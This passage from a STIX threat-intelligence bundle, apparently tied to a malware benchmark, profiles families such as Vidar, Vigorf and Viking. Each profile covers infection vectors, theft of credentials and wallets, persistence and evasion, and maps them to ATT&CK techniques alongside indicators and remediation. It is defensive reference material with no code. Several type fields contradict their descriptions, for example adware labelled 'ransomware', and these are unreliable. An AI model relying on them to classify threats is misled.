      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97292838-4d90-5f10-a2a9-8c3faaf5cd4e",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vidar exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--40826f10-fd51-531b-9437-0c78b888b021",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97292838-4d90-5f10-a2a9-8c3faaf5cd4e",
      "target_ref": "attack-pattern--2f0c4944-d5ef-5364-9177-53581d27fe40",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vidar exhibits technique T1070.004 (File Deletion)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6b79c071-ba54-5c96-b3ef-3412bc2c9203",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97292838-4d90-5f10-a2a9-8c3faaf5cd4e",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vidar exhibits technique T1566.001 (Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--16465de4-cfe4-59a1-869b-7a05bc9e6cde",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vidarstealer",
      "description": "<h3>Executive Summary</h3>\nVidar (also known as Vidar Stealer) is a highly sophisticated, commercially available Information Stealer that emerged in late 2018 as a fork of the infamous Arkei stealer. Sold as Malware-as-a-Service (MaaS) on dark web forums, Vidar is engineered for maximum data extraction. It rapidly harvests user credentials, cryptocurrency wallets, financial data, and system information before exfiltrating the data and (frequently) self-deleting to evade forensic analysis.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nVidar is distributed via a wide array of vectors depending on the purchasing affiliate. Common methods include malicious spam (malspam) campaigns, fake software cracks (e.g., \"KMS Activators\"), disguised installers on torrent sites, and delivery via popular exploit kits like RIG or Fallout.\n\nOnce executed, Vidar initiates a rapid and comprehensive data aggregation routine:\n<ul>\n<li><strong>Browser Targeting:</strong> Vidar aggressively targets nearly all modern web browsers (Chrome, Firefox, Edge, Opera, Brave). It extracts saved passwords, autofill data, credit card numbers, browsing history, and critically, active session cookies (allowing attackers to bypass MFA).</li>\n<li><strong>Wallet Extraction:</strong> The stealer is explicitly designed to locate and steal the `wallet.dat` files and recovery phrases associated with dozens of desktop cryptocurrency wallets (e.g., Bitcoin Core, Electrum, Exodus).</li>\n<li><strong>Application Data:</strong> It harvests credentials from FTP clients (FileZilla), email clients (Thunderbird, Outlook), and secure messaging applications (Telegram, Signal).</li>\n<li><strong>Exfiltration and Evasion:</strong> The stolen data is compiled into a ZIP archive and transmitted to a C2 server (often utilizing Telegram or Mastodon APIs for covert C2 communication). Once exfiltration is complete, Vidar typically deletes its own executable and the temporary archive to hinder incident response.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Vidar infection is a critical security breach resulting in immediate, catastrophic data loss. The exfiltrated session cookies and credentials allow attackers to completely hijack the user's digital identity, leading to immediate financial theft and the potential compromise of enterprise network access.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Assume Total Compromise:</strong> Because Vidar steals session cookies, simply changing passwords is insufficient. All active sessions across all web services (M365, Google Workspace, banking portals) must be forcefully terminated, followed by a comprehensive password reset.</li>\n<li><strong>Cryptocurrency Asset Movement:</strong> If the user managed cryptocurrency on the infected machine, those assets must be immediately transferred to a new, secure wallet, as the private keys are now in the hands of the attackers.</li>\n<li><strong>Forensic Analysis:</strong> While Vidar often self-deletes, forensic analysis of network logs (PCAPs) can identify the specific C2 infrastructure used for exfiltration, aiding in the generation of IOCs.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Vidar",
        "Spyware.VidarStealer",
        "PWS.Win32.Vidar"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vidarstealer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vidarstealer"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b7a646fe-f421-54d8-b161-5dde0163ad0c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--16465de4-cfe4-59a1-869b-7a05bc9e6cde",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vidarstealer exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--260b26d3-41d9-5cbe-b4fe-b3e55f1b6378",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--16465de4-cfe4-59a1-869b-7a05bc9e6cde",
      "target_ref": "attack-pattern--be3c2ebf-802b-5550-add8-0d33497d4a55",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vidarstealer exhibits technique T1552.001 (Credentials In Files (Harvesting passwords and wallets from local storage))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6f553269-7c85-5532-b598-571a9e186637",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--16465de4-cfe4-59a1-869b-7a05bc9e6cde",
      "target_ref": "attack-pattern--93d05424-5b4c-5400-a22c-cc8acb493a1e",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vidarstealer exhibits technique T1539 (Steal Web Session Cookie (Abusing active authenticated sessions to perform social media fraud))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fde6c602-d7f3-5c40-8477-72fe3fa68d6b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--16465de4-cfe4-59a1-869b-7a05bc9e6cde",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vidarstealer exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--54b4908f-e368-5bd5-9119-5fe7584d1cbe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Viddyhd",
      "description": "<h3>Executive Summary</h3>\nViddyHD is a highly intrusive Adware application and Potentially Unwanted Program (PUP) primarily targeting Windows operating systems. It masquerades as a legitimate video playback enhancement tool or browser plugin required to view high-definition streaming content. In reality, its sole purpose is aggressive, unauthorized monetization through the injection of malicious advertisements, browser hijacking, and the covert tracking of user web behavior.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nViddyHD relies almost entirely on deceptive software bundling (pay-per-install networks) and social engineering for distribution. Users typically encounter it via fake \"Update Flash Player\" prompts on illegal streaming sites or bundled within \"free\" utilities downloaded from untrustworthy software portals.\n\nUpon execution, ViddyHD establishes deep integration with the system's web browsers:\n<ul>\n<li><strong>Browser Hijacking:</strong> The adware installs persistent Browser Helper Objects (BHOs) and malicious extensions across Chrome, Firefox, and Internet Explorer. It modifies the browser's default homepage and default search engine to route all traffic through attacker-controlled affiliate portals.</li>\n<li><strong>DOM Manipulation and Ad Injection:</strong> ViddyHD intercepts the rendering of legitimate websites. It injects its own JavaScript to overlay pages with pop-up ads, sliding banners, and in-text hyperlinks. These ads often promote further malware, technical support scams, or adult content.</li>\n<li><strong>Privacy Violations:</strong> To serve targeted advertisements, ViddyHD silently tracks the user's browsing history, search queries, and geographical location, transmitting this telemetry to third-party marketing servers in violation of standard privacy practices.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile ViddyHD is not designed for data destruction like ransomware, it poses a severe threat to user privacy and system stability. The constant ad injection consumes massive CPU and RAM resources, rendering web browsing nearly impossible. Furthermore, the \"malvertising\" networks it relies upon frequently serve as conduits for more severe infections, such as banking trojans or info-stealers.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Application Uninstallation:</strong> The primary remediation step is to locate and uninstall \"ViddyHD\" (or any similarly named, recently installed suspicious programs) via the Windows Control Panel.</li>\n<li><strong>Browser Factory Reset:</strong> Because ViddyHD fundamentally alters browser configurations, the most effective cleanup method is to perform a full factory reset of all installed web browsers. This guarantees the removal of malicious extensions, BHOs, and tracking cookies.</li>\n<li><strong>Anti-Malware Scan:</strong> Utilize a reputable enterprise anti-malware solution (specifically tuned for PUPs/Adware) to scan for and remove lingering registry keys (e.g., in `HKLM\\Software`) and orphaned files left behind by the uninstaller.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.ViddyHD",
        "PUP.ViddyHD",
        "Win32/Adware.ViddyHD"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Viddyhd",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/viddyhd"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4ffe4ae4-baec-5689-a66b-a4749bfacf1b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--54b4908f-e368-5bd5-9119-5fe7584d1cbe",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Viddyhd exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2307523d-664f-5624-b1b8-9fdf81414272",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--54b4908f-e368-5bd5-9119-5fe7584d1cbe",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Viddyhd exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fc4a5dec-aeb6-5eda-930d-3e2bfaf67279",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--54b4908f-e368-5bd5-9119-5fe7584d1cbe",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Viddyhd exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--27c43385-ea22-51b5-acf3-c3524e8d1859",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vidro",
      "description": "Trojan:Win32/Vidro is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Vidro</b><br>To an end-user, a Vidro infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Vidro is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Vidro is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Vidro frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Vidro reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vidro",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vidro"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--22802f4a-1a60-531c-be23-61cb8f16537e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--27c43385-ea22-51b5-acf3-c3524e8d1859",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vidro exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--62ff9ff4-bee4-5b2d-84a6-6b5ac73266a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--27c43385-ea22-51b5-acf3-c3524e8d1859",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vidro exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c2451ec3-e215-55ee-8341-25bb857aa542",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--27c43385-ea22-51b5-acf3-c3524e8d1859",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vidro exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bbf8f5cb-a961-5753-862a-f5f375fc6dea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--27c43385-ea22-51b5-acf3-c3524e8d1859",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vidro exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b8fb2aa9-0535-5f8d-8788-6e2d465967dc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--27c43385-ea22-51b5-acf3-c3524e8d1859",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vidro exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e1cadc32-f9e0-5742-a217-c10e555e93db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vigorf",
      "description": "Vigorf is a pervasive Windows trojan downloader and ransomware stager cataloged under Microsoft Defender signatures including Trojan:Win32/Vigorf.A. Infiltrating endpoints primarily through cracked game packages, pirated software activators, and malicious torrent archives, Vigorf executes multi-stage obfuscated loaders to bypass host security protections. Upon execution, the malware establishes persistence through registry autostart keys under CurrentVersion\\Run, disables Windows Defender notifications, and beacons remote C2 servers to download secondary malicious components\u2014frequently serving as the delivery mechanism for STOP/DJVU ransomware strains and RedLine infostealers. (Observed samples in benchmark: 45)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Vigorf.A",
        "Trojan:Win32/Vigorf",
        "TrojanDownloader:Win32/Vigorf",
        "Win32/Vigorf"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vigorf",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vigorf"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f46336c0-6557-5c1b-932b-0452685b9670",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1cadc32-f9e0-5742-a217-c10e555e93db",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vigorf exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6531a1f2-a9cc-59d3-88f6-cc5392b6e149",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1cadc32-f9e0-5742-a217-c10e555e93db",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vigorf exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d5cdbe54-533c-5002-bbdf-6da146e7f876",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1cadc32-f9e0-5742-a217-c10e555e93db",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vigorf exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ddf1806f-1f4e-5a76-895e-aa1100980554",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1cadc32-f9e0-5742-a217-c10e555e93db",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vigorf exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--01340d03-83f3-5bd8-852b-f49dc836230f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1cadc32-f9e0-5742-a217-c10e555e93db",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vigorf exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1b23fd51-6b71-5863-83d2-dc4005b16aad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vigram",
      "description": "Adware/PUP:Win32/Vigram is a prevalent Potentially Unwanted Program (PUP) categorized as Adware. It is designed to monetize the user's web browsing activity without their explicit consent by forcefully injecting intrusive advertisements, pop-unders, and sponsored links directly into the webpages they visit. Vigram significantly degrades system performance and poses privacy risks by tracking browsing history.<br><br><b>Understanding Vigram (Adware)</b><br>To an end-user, Vigram is highly visible: web pages load slowly, words within articles are mysteriously hyperlinked to advertising sites, and unclosable pop-up ads appear constantly. For a security operations center (SOC), Vigram is an indicator of poor user hygiene and risky downloading behavior, serving as a potential gateway for more severe 'Drive-by Compromise' (`T1189`) attacks via malvertising.<br><br><b>Execution and Hijacking Mechanics</b><br>Vigram is typically distributed via deceptive software bundles (wrappers) on third-party freeware sites. Upon execution, it installs itself, often masquerading as a legitimate browser helper object (BHO) or extension (`T1176`). It intercepts HTTP/HTTPS traffic locally to inject its own ad scripts directly into the Document Object Model (DOM) of the webpage before the browser renders it. To ensure it remains active, Vigram establishes persistence via Scheduled Tasks (`T1053.005`) or Registry Run keys (`T1547.001`), frequently employing randomized file names to evade simple signature-based removal scripts.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a severe degradation of the user experience and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for anomalous Scheduled Tasks launching browser processes or unknown executables from the `%AppData%` directory. Network IoCs include a massive increase in DNS queries and HTTP connections to known adware affiliate networks, tracking domains, and click-fraud infrastructure. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vigram",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vigram"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e1d19b89-a791-5ff4-ae03-8b4562f5e480",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b23fd51-6b71-5863-83d2-dc4005b16aad",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vigram exhibits technique T1176 (Browser Extensions (Installing malicious add-ons to facilitate ad injection))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b4545f24-b31e-5274-a54d-6eda7ce1b0ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b23fd51-6b71-5863-83d2-dc4005b16aad",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vigram exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Modifying browser settings without consent))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5659be3d-09cd-5960-8b12-140fedc1fe27",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1b23fd51-6b71-5863-83d2-dc4005b16aad",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vigram exhibits technique T1189 (Drive-by Compromise (Initial distribution via software bundles))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b0417a43-3e64-5a3e-86b5-6418bc590e9a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Viking",
      "description": "Viking (cataloged across security vendors as Virus:Win32/Viking, Worm.Win32.Viking, and PE_VIKING) is an infamous and highly destructive hybrid file-infecting virus and network worm that originated around 2005. Engineered to spread aggressively across Windows endpoints, Viking searches local storage partitions, removable USB flash drives, and writable network shares, prepending or appending its viral code to clean Portable Executable (.exe) program files. In addition to file infection, Viking contains autonomous worm propagation capabilities, exploiting open administrative network shares and weak passwords to copy itself across local area networks. When an infected host application is launched, Viking drops malicious system DLLs into %SYSTEM32% or %WINDOWS%, terminates running security software processes (including antivirus scanners and personal firewalls), and connects to remote C2 servers to download secondary trojans, keyloggers, and online game password stealers. (Observed samples in benchmark: 175)",
      "is_family": true,
      "malware_types": [
        "virus"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Virus:Win32/Viking",
        "Worm.Win32.Viking",
        "PE_VIKING",
        "W32.Viking",
        "Win32/Viking"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Viking",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/viking"
        }
      ],
      "labels": [
        "file_infector",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a095f9a2-316b-5cce-a440-020661952876",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b0417a43-3e64-5a3e-86b5-6418bc590e9a",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Viking exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--266fe6b1-e94c-5ad1-81a0-142d50bd0109",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b0417a43-3e64-5a3e-86b5-6418bc590e9a",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Viking exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eaa29072-cadf-5098-9d28-377dad16d234",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b0417a43-3e64-5a3e-86b5-6418bc590e9a",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Viking exhibits technique T1091 (Replication Through Removable Media)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b7fe0f59-e9f7-5702-a786-9b10f40c7a94",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b0417a43-3e64-5a3e-86b5-6418bc590e9a",
      "target_ref": "attack-pattern--d66030a6-0b1f-5824-ae5f-d3704d249837",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Viking exhibits technique T1021.002 (Remote Services: SMB/Windows Admin Shares)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--28b7f181-0110-55d6-bfcf-ca5c3011732e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b0417a43-3e64-5a3e-86b5-6418bc590e9a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Viking exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--916ec750-7b57-5478-94d0-55fe7b2552ad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vilsel",
